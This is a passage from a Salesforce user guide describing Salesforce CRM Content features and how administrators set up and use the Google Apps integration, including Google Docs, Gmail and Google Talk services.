You cannot edit a file within Salesforce CRM Content. To edit a file, download it from Salesforce CRM Content to your
computer, make your changes, then upload the updated version using the Upload New Version button.
The Versions subtab on the content details page lists all content versions. The Recent Activity list on the Libraries tab
also notifies users of new content versions.

318

Salesforce CRM Content

Finding Salesforce CRM Content

Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of 5,000
new versions per 24hour period. Developer Edition and trial users can publish a maximum of 2,500 new versions per
24hour period.

See Also:
Deleting, Archiving, and Restoring Content
Searching for Content
Viewing and Editing Content Details

Finding Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions
To access Salesforce CRM Content:

Salesforce CRM Content User checked in your personal

information
AND
Member of the library

If your organization has Salesforce CRM Content enabled, you can take advantage of Salesforce CRM Content functionality
on detail pages for leads, accounts, contacts, opportunities, products, cases, or custom objects. The Related Content related
list allows you to search for files, content packs, Web links, or Google docs and attach them to the record. When you attach
a file, the latest version will be available for the life of the record unless the file is removed.
From the Related Content related list, you can:

Click the content's title to view the content details page where you can perform several tasks, such as commenting and
voting on content, downloading files, opening Web pages and Google docs, and subscribing to content, authors, tags, or
libraries. For more information, see Viewing and Editing Content Details on page 313.
Click Del next to a piece of content to remove it from the record. This does not delete the content from the Salesforce
CRM Content library.
If content deliveries are enabled in your organization, click Deliver Content to create a content delivery. A content delivery
allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version
for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads,
customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking,
content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the
delivery is available to viewers and whether a viewer can download a file or see it online only. For more information, see
Creating Content Deliveries on page 308.
Search for related content:
1. Click Find Content or Search All. In both cases, Salesforce CRM Content searches within the libraries that you have
access to. If you click Search All, the search results display all the content in your libraries. For the Find Content search,

319

Salesforce CRM Content

Finding Salesforce CRM Content

your search results contain content that is relevant to the record; Salesforce CRM Content searches for content with
text or attributes that match the following fields:

On an opportunity, the Opportunity Name, Account Name, and all competitors and products.
On an account, the Account Name and Industry.
On a case, the Case Reason, Subject, Account Name, and Industry.
On a lead, the Name, Company, Industry, and Title.
Note: On a custom object, clicking Find Content returns search results that contain the full custom object
name in the document's text or attributes. If no content meets this criterion, the search results will be empty
and a Search All search should be used instead.

2. On the search results page, filter your results as needed by entering search terms or selecting filter criteria from the
sidebar.
3. Click Attach for any file that you want to attach to the record.
4. Click the Back link to return to the detail page.

See Also:
Salesforce CRM Content Overview
Customizing Salesforce CRM Content
Viewing and Editing Content Details
Uploading and Publishing Content

Using the Content Related List


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To access Salesforce CRM Content:

Salesforce CRM Content User checked in your personal

information

The Content related list on a record detail page includes links to all of the content that has been associated with that record
in Salesforce CRM Content. Click the file name to open the content details page.
Only Salesforce CRM Content users who are members of the library where the content was published can see the published
file in the Content related list. For example, if you select the Big Deal opportunity when publishing BigDealStrategy.doc
into the Sales Collateral library, the Content related list on the Big Deal opportunity includes a link to
BigDealStrategy.doc only for members of the Sales Collateral library. Users who are not members of that library do not
see the link.

320

Salesforce for Google Apps

Google Apps Overview

You can use the Related Content related list to access Salesforce CRM Content from leads, accounts, contacts, opportunities,
products, cases, or custom objects. For more information, see Finding Salesforce CRM Content on page 319.

See Also:
Salesforce CRM Content Overview
Finding Salesforce CRM Content

SALESFORCE FOR GOOGLE APPS


Google Apps Overview
Available in: All Editions except Database.com
Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business
users. Salesforce integrates key Google Apps services and provides several AppExchange apps that enhance and customize
Google-related functionality. To set up a Google Apps account for your organization, activate services, and create individual
Google Apps accounts for your Salesforce users, see Getting Started with Salesforce and Google Apps on page 323.
The following services for Google Apps are integrated with Salesforce and require a simple activation by a Salesforce
administrator:
Add Google Docs to Salesforce
Google Docs allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser,
and work together in real time with other collaborators. When the Add Google Docs to Salesforce service is activated,
you can:

Use the Google Docs, Notes, & Attachments or Google Docs & Attachments related list on any Salesforce record
to create, edit, or view Google docs and associate them to a record.
Share a Google doc with any Google Apps user in your organization.
Associate Google docs with Salesforce records even when you are not working in Salesforce by using the Add Google
Doc to Salesforce browser button.
Add Google docs to Salesforce CRM Content, which allows you to manage all types of content in a centralized
location.

Gmail to Salesforce
Gmail is a Web-based email application that operates on all standard browsers and can be used with your company's
domain. Use Gmail to Salesforce to automatically log emails you send from your Gmail account as activities on lead and
contact records in Salesforce.
Gmail Buttons and Links
Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in
Activity History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button, Salesforce

321

Salesforce for Google Apps

Google Apps Overview

automatically logs you into your Gmail account and automatically populates the To field. If Gmail to Salesforce is
activated, Salesforce also populates the BCC field with your Email to Salesforce address.
Google Talk Sidebar Component
Google Talk is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in Salesforce,
Google Talk displays in the sidebar where it can be toggled on, off, or expanded into its own window. You can also log
a chat record as an activity on a Salesforce lead or contact record.

Implementation Tips

For detailed information about Google Apps, refer to Google's online help.
Google Apps in Salesforce is available for Google business accounts but not consumer accounts. You can identify a consumer
account by the gmail.com domain in an email address; for example, myname@gmail.com is a consumer account. The
Google Apps domain you set up in Salesforce must be the domain you registered with Google for your organization; for
example, mycompany.com is a business rather than consumer account.
After creating a Google Apps account for your organization, create Google Apps accounts for your Salesforce users by
clicking Export to Google Apps from Your Name > Setup > Manage Users > Users.
Notify users of their Google Apps usernames and passwords.
Notify users about the changes they will see in Salesforce when Google Apps services are activated. For example, activating
the Google Talk Sidebar Component adds Google Talk to the sidebar for all users in your organization.
To view all the Google apps available on Force.com AppExchange, visit http://sites.force.com/appexchange.
By default, Google Apps users on your organization's domain can share Google docs with Google Apps accounts outside
your domain. The control panel for your Google Apps account contains sharing settings that enable you to restrict document
sharing to within your domain.
When the Add Google Docs to Salesforce service is deactivated, Google docs cannot be accessed from Salesforce records,
and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from Salesforce. If
the Add Google Docs to Salesforce service is reactivated within 30 days, Google docs that were associated with Salesforce
records before the deactivation are restored to their previous location. Deactivating the Add Google Docs to Salesforce
service does not affect Google docs in Salesforce CRM Content libraries; deactivation does not remove Google docs
associations in libraries and does not permanently delete Google docs in Recycle Bins.
Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new
Google docs and associate existing Google docs to a Salesforce library. Portal users without access to Salesforce CRM
Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a record
because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users cannot
use the Add Google Doc to Salesforce browser button.
Customer Portal and partner portal users cannot access the Gmail Buttons and Links or Google Talk Sidebar Component
services.
If your organization purchased the Salesforce for Google Apps Supported feature, see Getting Started With Salesforce
and Google Apps Supported on page 325.

Best Practices

Test your Google Apps integration using a sandbox or Developer Edition organization.
Manage Google Apps users as you would Salesforce users. For example, if you deactivate a Salesforce user, also deactivate
his or her Google Apps account in the control panel for your organization's Google Apps account. For information about
administering your organization's Google Apps account, refer to Google's online help.
To locate a Google doc quickly in Salesforce, search for the doc using sidebar search.

322

Salesforce for Google Apps

Getting Started with Salesforce and Google Apps

If Google Talk is in the sidebar, refreshing a Salesforce page causes Google Talk to momentarily disconnect and reconnect.
Recommend to your users that they open Google Talk in its own window if they want to have longer chats.

See Also:
Getting Started with Salesforce and Google Apps
Using Google Docs in Salesforce
Using Gmail in Salesforce
Using Google Talk in Salesforce

Getting Started with Salesforce and Google Apps


Available in: All Editions except Database.com

User Permissions Needed


To view and modify Google Apps domain settings:

Customize Application

To activate or deactivate Google Apps services:

Customize Application

To install or uninstall Force.com AppExchange packages:

Download AppExchange packages

To export a list of users to Google to create Google Apps


accounts:

Customize Application

Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business
users. If your organization has a Google Apps account, Salesforce administrators can enable Google Docs, Gmail, Google
Talk, and a host of Google-related AppExchange appscustomized for use within Salesforce. For a description of the Google
Apps functionality in Salesforce, see Google Apps Overview on page 321.

Step 1: Creating a Google Apps Account


Create a Google Apps account for your organization using one of the following methods:

On the Your Name > Setup > Google Apps > Settings page, click Sign Up to launch the account-creation page on the
Google website. You are prompted to register your organization's domain name or purchase a new domain name from
Google. A domain is the portion of a website's URL that follows the www. Follow Google's steps to configure your new
or existing domain and set up your Google Apps account.
If your organization purchased the Salesforce and Google Apps Supported feature, click Your Name > Setup > Google
Apps > Premier Setup to create a new Google Apps Premier Edition account or upgrade your existing Standard Edition
account to Premier Edition. For details, see Getting Started With Salesforce and Google Apps Supported on page 325.
Note: Google Apps in Salesforce supports Google Apps business accounts but not consumer accounts. You can
identify a consumer account by the gmail.com domain in an email address; for example, myname@gmail.com is a
consumer account. The Google Apps domain you set up in Salesforce must be the domain you registered with Google
for your organization; for example, mycompany.com is a business rather than consumer account.

323

Salesforce for Google Apps

Getting Started with Salesforce and Google Apps

Step 2: Configuring Google Apps Domain Settings


1. On the Your Name > Setup > Google Apps > Settings page in Salesforce, click Edit.
2. Choose a user for the Google Apps Administrative Contact field. This person is the point of contact for Google
Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact
the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person
who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator
can create new Google Apps users on your domain.
3. Enter the Google Apps Domain that you registered with Google. For example, if your company's URL is
http://www.acme.com and you created a Google Apps account for the acme.com domain, enter acme.com in the
Google Apps Domain field.
4. Click Save.

Step 3: Activating Google Apps Services


1. In the Activate Google Apps Services section on the Your Name > Setup > Google Apps > Settings page, locate the
Google Apps service(s) that you want to activate.
2. Click Edit or Install to activate a service. In the Action column, Edit corresponds to Google Apps services that are already
integrated in Salesforce, and Install corresponds to uninstalled Force.com AppExchange apps. Integrated Google Apps
services include:

Add Google Docs to Salesforce


Gmail to Salesforce
Gmail Buttons and Links
Google Talk Sidebar Component

For descriptions of the Google-related AppExchange apps, visit http://sites.force.com/appexchange.

Step 4: Creating Google Apps Users


Activating Google Apps services in Salesforce makes the services visible to all users in your organization, but a user cannot
access a service unless he or she has a Google Apps account on your organization's domain. The Google Apps administrator
registered with Google can create these additional accounts. For more information, see Creating Google Apps Accounts on
page 329.

See Also:
Using Google Docs in Salesforce
Using Gmail in Salesforce
Using Google Talk in Salesforce

324

Salesforce for Google Apps

Getting Started With Salesforce and Google Apps Supported

Getting Started With Salesforce and Google Apps


Supported
Available in: All Editions except Database.com

User Permissions Needed


To create a new Google Apps Premier Edition account in
Salesforce:

Customize Application
OR
Google Apps Administrative Contact

To upgrade Google Apps Standard Edition to Google Apps Customize Application


Premier Edition in Salesforce:
OR
Google Apps Administrative Contact

The Salesforce and Google Apps Supported feature includes a Google Apps Premier Edition account for your organization.
In Salesforce, you can create that account or upgrade from an existing Google Apps Standard Edition account to Google Apps
Premier Edition. For a description of the Google Apps services available in Salesforce, see Google Apps Overview on page
321.
After you create a new Google Apps Premier Edition account or upgrade your existing Google Apps Standard Edition account
in Salesforce, the Premier Setup page displays your organization's domain name, the number of Google Apps Premier Edition
licenses available to your organization, and, if applicable, the status of your upgrade.

Creating a New Google Apps Premier Edition Account


If your organization does not have a Google Apps account, complete the following steps to register a Google Apps Premier
Edition account and enable Salesforce and Google Apps:
1. Click Settings > Google Apps > Premier Setup.
2. Complete the fields in Column A:
Field

Description

Domain Name

Enter the domain that you want to register as your


organization's Google Apps account. For example, if your
company's URL is http://www.acme.com, enter
acme.com as your Domain Name.

User Name

This value is used to create the Google Apps administrator


for your organization's account. For example, if your Google
Apps administrator will be jsmith@acme.com, enter
jsmith. After your Google Apps account is created, you

325

Salesforce for Google Apps

Field

Getting Started With Salesforce and Google Apps Supported

Description
can log in with the User Name and Password and change
this value if necessary.

First Name

This value is used to create the Google Apps administrator


for your organization's account. After your Google Apps
account is created, you can log in with the User Name and
Password and change this value if necessary.

Last Name

This value is used to create the Google Apps administrator


for your organization's account. After your Google Apps
account is created, you can log in with the User Name and
Password and change this value if necessary.

Email Address

This email address receives a confirmation notice when your


Google Apps Premier Edition account is created. Google
does not store this value for any other purpose.

Password

The Google Apps administrator can log in to Google Apps


with this password.

Confirm Password

The Google Apps administrator can log in to Google Apps


with this password.

3. Click Create New Premier Account.


4. To enable Salesforce and Google Apps, click Your Name > Setup > Google Apps > Settings.
5. Choose a user for the Google Apps Administrative Contact field. This person is the point of contact for Google
Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact
the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person
who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator
can create new Google Apps users on your domain.
6. Verify that the Google Apps Domain field contains the domain name you registered with Google.
7. Activate Google Apps services in Salesforce. For more information, see Activating Google Apps Services on page 324.
8. Create users for your organization's Google Apps account. For more information, see Creating Google Apps Accounts
on page 329.
Note: The number of Google Apps Premier Edition accounts you can create is limited to the number of licenses
your organization purchased with the Salesforce and Google Apps Supported feature.

Upgrading to a Google Apps Premier Edition Account


Complete the following steps to upgrade your organization's existing Google Apps Standard Edition account to a Google
Apps Premier Edition account.
1. Click Your Name > Setup > Google Apps > Premier Setup.
2. Complete the fields in Column B:

326

Salesforce for Google Apps

Getting Started With Salesforce and Google Apps Supported

Field

Description

Domain Name

The domain that you want to register as your organization's


Google Apps Premier Edition account. If you already
enabled Salesforce and Google Apps, this field is
prepopulated with your organization's domain name.

Google Apps Token

The 16-digit token required to upgrade from Google Apps


Standard Edition to Google Apps Premier Edition. Your
organization's Google Apps administrator can access this
information on the Google website. For more information,
click Retrieve Google Apps Token in Column B.

3. Click Upgrade Existing Account to Premier.


4. To enable Salesforce and Google Apps, click Your Name > Setup > Google Apps > Settings.
5. As needed, edit the Google Apps Administrative Contact field. This person is the point of contact for Google
Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact
the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person
who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator
can create new Google Apps users on your domain.
6. Verify that the Google Apps Domain field contains the domain name you registered with Google.
7. As necessary, activate Google Apps services in Salesforce. For more information, see Activating Google Apps Services on
page 324.
8. As necessary, create users for your organization's Google Apps account. For more information, see Creating Google Apps
Accounts on page 329.
Note: The number of Google Apps Premier Edition accounts you can create is limited to the number of licenses
your organization purchased with the Salesforce and Google Apps Supported feature.

See Also:
Google Apps Overview
Getting Started with Salesforce and Google Apps

327

Salesforce for Google Apps

Setting Up Google Apps in Salesforce

Setting Up Google Apps in Salesforce


Available in: All Editions except Database.com

User Permissions Needed


To edit Google Apps domain settings and activate or
deactivate services:

Customize Application

To install or uninstall AppExchange packages:

Download AppExchange packages

Click Your Name > Setup > Google Apps > Settings to edit your Google Apps domain settings, activate or deactivate Google
Apps services in Salesforce, or install or uninstall Google-related Force.com AppExchange packages. For a description of
Google Apps functionality in Salesforce, see Google Apps Overview on page 321.
Important: You cannot use Salesforce and Google Apps until a Google Apps account has been created for your
organization and your Google Apps domain settings are configured in Salesforce. For instructions on creating an
account and configuring your domain settings, see Getting Started with Salesforce and Google Apps on page 323.

Editing Google Apps Domain Settings


Domain settings consist of two values: the user chosen to administer your organization's Google Apps account and the domain
your organization registered with Google. Both fields are required to enable Google Apps in Salesforce. To edit your domain
settings:
1. In the Configure Google Apps Domain section, click Edit.
2. Optionally, choose a new user for the Google Apps Administrative Contact field. This person is the point of
contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she
is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need
to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google
Apps administrator can create new Google Apps users on your domain.
3. Optionally, modify the Google Apps Domain that is registered with Google for your organization's Google Apps
account. Your Google Apps Domain is typically your company's domain; for example, acme.com.

Modifying Google Apps Services


This section lists Google Apps services that are integrated with Salesforce and also provides links to several Google-related
Force.com AppExchange apps that can be easily installed from AppExchange.
To activate or deactivate an integrated service, click Edit next to the service name. These services include:

Add Google Docs to Salesforce


Gmail to Salesforce
Gmail Buttons and Links
Google Talk Sidebar Component
Note: If you are activating a service for the first time, review the Implementation Tips for Google Apps services.

328

Salesforce for Google Apps

Creating Google Apps Accounts

To install or uninstall an AppExchange app, click Install or Uninstall next to the appropriate name. To view all Google-related
AppExchange offerings, visit http://sites.force.com/appexchange.

See Also:
Installing a Package
Uninstalling a Package
Google Apps Overview

Creating Google Apps Accounts


Available in: All Editions except Database.com

User Permissions Needed


Export users to Google:

Customize Application

Create new Google Apps accounts:

Google Apps administrator

After creating a Google Apps account for your organization and enabling Google Apps in Salesforce, you can create Google
Apps accounts for individual users. To access the Google Apps services that are enabled in Salesforce, each user needs a Google
Apps account on the domain your organization registered with Google. An account includes a username and password that
allow the user to log into all Google Apps services.
Note: If your organization purchased Salesforce and Google Apps Supported, the number of Google Apps Premier
Edition accounts you can create is limited to the number of licenses your organization purchased.
To export a list of users to Google and create Google Apps accounts for each user:
1. Click Your Name > Setup > Manage Users > Users.
2. In the View drop-down list, choose a list of users. To create a custom list view, see Creating Custom List Views on page
272.
3. Click Export to Google Apps to export all the users in the list. To export certain users only, select those users in the Action
column.
Note: If Google Apps is not enabled for your organization, the Export to Google Apps button does not display.
To enable Google Apps in Salesforce, see Getting Started with Salesforce and Google Apps on page 323.
4. On the Export Users to Google Apps page, click the export file link that is labeled as Step 1. The name of the link depends
on the list view you chose to export; for example, if you were viewing the All Users list, the link on the Export Users to
Google Apps page is All Users Export File.
5. In the CSV spreadsheet that displays when click you the export link, provide a temporary password for each user. You can
modify the username, last name, and first name fields for any user as needed. Google creates account names by
adding your domain to the usernames in the spreadsheet; for example, if your domain is acme.com and the spreadsheet
contains john.doe and jane.doe usernames, the Google Apps usernames are john.doe@acme.com and jane.doe@acme.com.
6. Save the spreadsheet to your computer.

329

Salesforce for Google Apps

Using Google Docs in Salesforce

7. Click the Google Apps Bulk User Import Tool link to launch the Bulk Account Update page for your organization's
Google Apps account. If prompted, log in with your Google Apps administrator username. Only the user who is registered
with Google as the administrator of your organization's account can create additional Google Apps accounts on your
organization's domain.
8. Follow Google's instructions to import the data in the spreadsheet. The Google Apps administrator receives a confirmation
report, and the user for each successfully created account receives a notification email at his or her new Gmail account..
9. Notify users of their usernames and passwords. They will need this information to use any Google Apps service that is
enabled in Salesforce.

See Also:
Google Apps Overview
Getting Started with Salesforce and Google Apps

Using Google Docs in Salesforce


Available in: All Editions except Database.com

User Permissions Needed


Activating the Add Google Docs to Salesforce service:

Customize Application

Using Google Docs in Salesforce

Read on the appropriate record type


AND
Google Apps account

Use Google Docs to create and share on-demand documents, presentations, and spreadsheets (Google docs) and see your
changes in real time as you collaborate with other users. Because your content is stored within Google, there is no need to
manage versions or send attachments by emailsimply log in with your Google Apps account and view the current document
or its revision history.
Salesforce and Google Apps allows you to integrate Google Docs with Salesforce in these ways:

The Docs home page in your Google Apps account lists all the Google documents, presentations, and spreadsheets that
you have created or that other Google Apps users have shared with you.
Associate Google docs with Salesforce recordsFrom the Docs home page you can associate a Google doc with Salesforce
records by using the Add Google Doc to Salesforce browser button. You can also create, edit, or delete Google doc
associations on any Salesforce record by using the Google Docs, Notes, & Attachments or Google Docs & Attachments
related lists.
Use Salesforce CRM Content to manage your Google Docs If Salesforce CRM Content is enabled, you can use the
Contribute tab or the Add Google Doc to Salesforce browser button to add Google docs to your libraries. Including
Google docs in Salesforce CRM Content allows you to manage all types of content in a centralized location.

330

Salesforce for Google Apps

Activating Google Docs in Salesforce

For information about Google Docs, refer to Google's online help.

See Also:
Activating Google Docs in Salesforce
Adding Google Docs to Salesforce
Installing the Add Google Doc to Salesforce Browser Button

Activating Google Docs in Salesforce


Available in: Contact Manager, Group, Professional,Enterprise,Unlimited, and Developer Editions

User Permissions Needed


Activating the Add Google Docs to Salesforce service:

Customize Application

Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To
use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 323.
Google Docs allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and
work together in real time with other collaborators.
To activate or deactivate the Add Google Docs to Salesforce service:
1.
2.
3.
4.

Click Your Name > Setup > Google Apps > Settings.
Click Edit next to the Add Google Docs to Salesforce option in the Activate Google Apps Services list.
Select or deselect the Activate checkbox.
If you are activating the Add Google Docs to Salesforce service, read the Terms of Use and select the checkbox indicating
you agree to the Terms of Use.
5. Click Save.
When the Add Google Docs to Salesforce service is enabled, the following changes allow users to create, edit, or view Google
docs and associate them with Salesforce records:

The Notes & Attachments related list on accounts, assets, contacts, contracts, leads, opportunities, products, and custom
objects is renamed to Google Docs, Notes, & Attachments.
The Attachments related list on cases, solutions, and campaigns is renamed to Google Docs & Attachments.
If Salesforce CRM Content is enabled, the Libraries tab has an Add Google Doc drop-down list.

Users can also install the Add Google Doc to Salesforce browser button, which allows them to associate a Google doc to
several Salesforce records or a Salesforce CRM Content library without being logged into Salesforce. For more information
see Installing the Add Google Doc to Salesforce Browser Button on page 336 and Adding Google Docs to Salesforce on page
332.

331

Salesforce for Google Apps

Adding Google Docs to Salesforce

Implementation Tips

For information about Google Docs, refer to Google's online help.


By default, Google Docs users on your domain can share their Google docs with Google Apps accounts outside your
domain. The control panel in your Google Apps account contains sharing settings that enable you to restrict document
sharing to users within your organization's domain.
Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new
Google docs and associate existing Google docs to a Salesforce library. Portal users without access to Salesforce CRM
Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a record
because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users cannot
use the Add Google Doc to Salesforce browser button.
When the Add Google Docs to Salesforce service is deactivated, Google docs cannot be accessed from Salesforce records,
and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from Salesforce. If
the Add Google Docs to Salesforce service is reactivated within 30 days, Google docs that were associated with Salesforce
records before the deactivation are restored to their previous location. Deactivating the Add Google Docs to Salesforce
service does not affect Google docs in Salesforce CRM Content libraries; deactivation does not remove Google docs
associations in libraries and does not permanently delete Google docs in Recycle Bins.
The Add Google Docs to Salesforce service cannot be disabled for your organization if Google docs are referenced in Apex.
For more information, see Apex Code Overview on page 1994.
Google docs count against data storage. For each Google doc associated with a record or library in Salesforce, two Kb of
storage is used.

See Also:
Adding Google Docs to Salesforce
Installing the Add Google Doc to Salesforce Browser Button

Adding Google Docs to Salesforce


Available in: All Editions except Database.com

User Permissions Needed


Creating a Google doc and linking it to Salesforce records:

Edit on the appropriate record type


AND
Google Apps account

Note: To use a Google Apps service in Salesforce, you must be logged in to your Google Apps business account.
Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your
Google Apps username and password, contact your administrator.
Salesforce offers three methods for creating new Google docs and associating them with Salesforce records:

You can create a Google doc from any detail page. The doc is automatically associated with the record and is visible to
anyone with access to both the record and the Google doc.

332

Salesforce for Google Apps

Adding Google Docs to Salesforce

You can create a Google doc from the Docs home page in your Google Apps account and associate the doc to one or more
Salesforce records or Salesforce CRM Content libraries using the Add Google Doc to Salesforce browser button.
If Salesforce CRM Content is enabled, you can create a Google doc from the Contribute tab to associate it with a Salesforce
CRM Content library.
Tip: For information about using Google Docs, refer to Google's online help.

Adding New Google Docs to a Salesforce Record


1. Display the record you want linked to the new Google doc.
2. On the Google Docs, Notes, & Attachments related list or the Google Docs & Attachments related list, click Add Google
Doc and choose New Document, New Spreadsheet, or New Presentation.
3. To create a blank Google doc:
a. After choosing a doc type from the Add Google Doc drop-down button, choose Create as a blank document,
Create as a blank spreadsheet, or Create as a blank presentation. The name of the radio button
depends on which type of Google doc you chose to create.
b. Enter a name for the document, spreadsheet, or presentation.
c. Click Create Google Doc. The blank document displays with the name you assigned. You can begin editing your doc;
it is automatically associated with the selected record.
Tip: While you have your Google doc open, remember to share it with other Google Apps users in your
organization. Only users with access to the Google doc in their Google Apps account can view the doc from
the record detail page.
4. To create a new Google doc by converting another file format to Google Docs:
a. After choosing a doc type from the Add Google Doc drop-down button, choose Create using an existing
file.
b. Select the file you want to convert. Salesforce can convert the following file types to Google docs:

Microsoft Word (doc), text (txt), rich text format (rtf), OpenDocument text (odt), or StarOffice document (swx)
files up to 500 KB each
Microsoft Excel (xls), comma-separated value (csv), or OpenDocument spreadsheet (ots) files up to 1 MB each
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

Microsoft PowerPoint (ppt or pps) files up to 10 MB each

c. Enter a name for the document, spreadsheet, or presentation.


d. Click Create Google Doc. The file you uploaded is converted to a Google document, presentation, or spreadsheet.
You can begin editing your doc; it is automatically associated with the selected record.
Tip: While you have your Google doc open, remember to share it with other Google Apps users in your
organization. Only users with access to the Google doc in their Google Apps account can view the doc from
the record detail page.

To link an existing Google doc to a record, see Editing Google Doc Links on page 335.

333

Salesforce for Google Apps

Adding Google Docs to Salesforce

Creating Google Docs from the Docs Home Page


The Docs home page in your Google Apps account lists all the Google docs you have created with your Google Apps account
or that other users have shared with your account. You can access the Docs home page by logging into your Google Apps
account and navigating to the Docs home page. If the Add Google Doc to Salesforce browser button is installed in your
browser, create a Google doc and click the browser button to associate the Google doc with Salesforce records or libraries.
For more information, see Associating Google Docs with Salesforce Records on page 337.

Adding New Google Docs to a Salesforce CRM Content Library


Create a new Google doc and publish it into a library, sharing that document with other members of that library.
1. On the Libraries tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc
drop-down button. You may be prompted to log in to Google Apps.
2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens
and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens.
3. In the Save or Publish Content dialog:
a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who
view the doc's content details page in Salesforce CRM Content.
b. Choose a library. If you do not want to put the doc in a public library, for example if the doc is still in progress, choose
Save in my personal library.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. To publish the content on behalf of another author, choose that author from the drop-down list.
e. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:

If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags
in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content library, or
click Cancel to save the doc to your personal library. From there you can delete the doc from Salesforce CRM Content
or publish it later. Once a Google doc is published in Salesforce CRM Content, all library members can search for the
doc and provide feedback such as comments and votes.

334

Salesforce for Google Apps

Editing Google Doc Links

Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization.
Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM
Content.

See Also:
Using Google Docs in Salesforce
Installing the Add Google Doc to Salesforce Browser Button

Editing Google Doc Links


Available in: All Editions except Database.com

User Permissions Needed


Editing Google doc links:

Read on the appropriate record type


AND
Google Apps account

Note: To use a Google Apps service in Salesforce, you must be logged in to your Google Apps business account.
Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your
Google Apps username and password, contact your administrator.
You can associate an existing Google doc with a Salesforce record by adding the name and URL of that Google doc to the
record. An existing Google doc is one that you already have access to on your Google Apps account but is not already associated
with the record you are viewing.
Note: To add an existing Google doc to a Salesforce CRM Content library, see Contributing Google Docs to Salesforce
CRM Content on page 303.
To add an existing Google doc to a record:
1. Display the record you want to associate with the Google doc.
2. On the Google Docs, Notes, & Attachments or Google Docs & Attachments related list, click Add Google Doc and
choose Add Existing.
3. Enter a Name for the Google doc and its URL.
4. Click Save.
Tip: You can find the URL by clicking Take me to Google Docs.

Once a Google doc is associated with a Salesforce record, clicking Edit next to that doc on the Google Docs, Notes, &
Attachments or Google Docs & Attachments related list displays the Add Existing Google Doc page. Modify the Name and
URL as needed.

335

Salesforce for Google Apps

Installing the Add Google Doc to Salesforce Browser Button

Tip: For information about using Google Docs, refer to Google's online help.

See Also:
Using Google Docs in Salesforce
Adding Google Docs to Salesforce
Installing the Add Google Doc to Salesforce Browser Button

Installing the Add Google Doc to Salesforce Browser Button


Available in: All Editions except Database.com

A browser button is an applet, or small computer application, that provides one-click functionality similar to a bookmark. The
Add Google Doc to Salesforce browser button allows you to associate a Google doc with several Salesforce records at once,
even when you are not working in Salesforce. To use this browser button, the Add Google Doc to Salesforce service must be
enabled and you must install the browser button in your browser.
You can access the Add Google Doc to Salesforce browser button on the Contribute tab in Salesforce CRM Content or on
a record detail page:
1. Display any record in Salesforce that has a Google Docs, Notes, & Attachments or Google Docs & Attachments related
list on the record detail page.
2. Choose Add Existing from the Add Google Doc drop-down button in the Google Docs, Notes, & Attachments or Google
Docs & Attachments related list. If the related list contains a Google doc, you can also click Edit next to the Google doc.
3. Click Get the browser button at the bottom of the page.
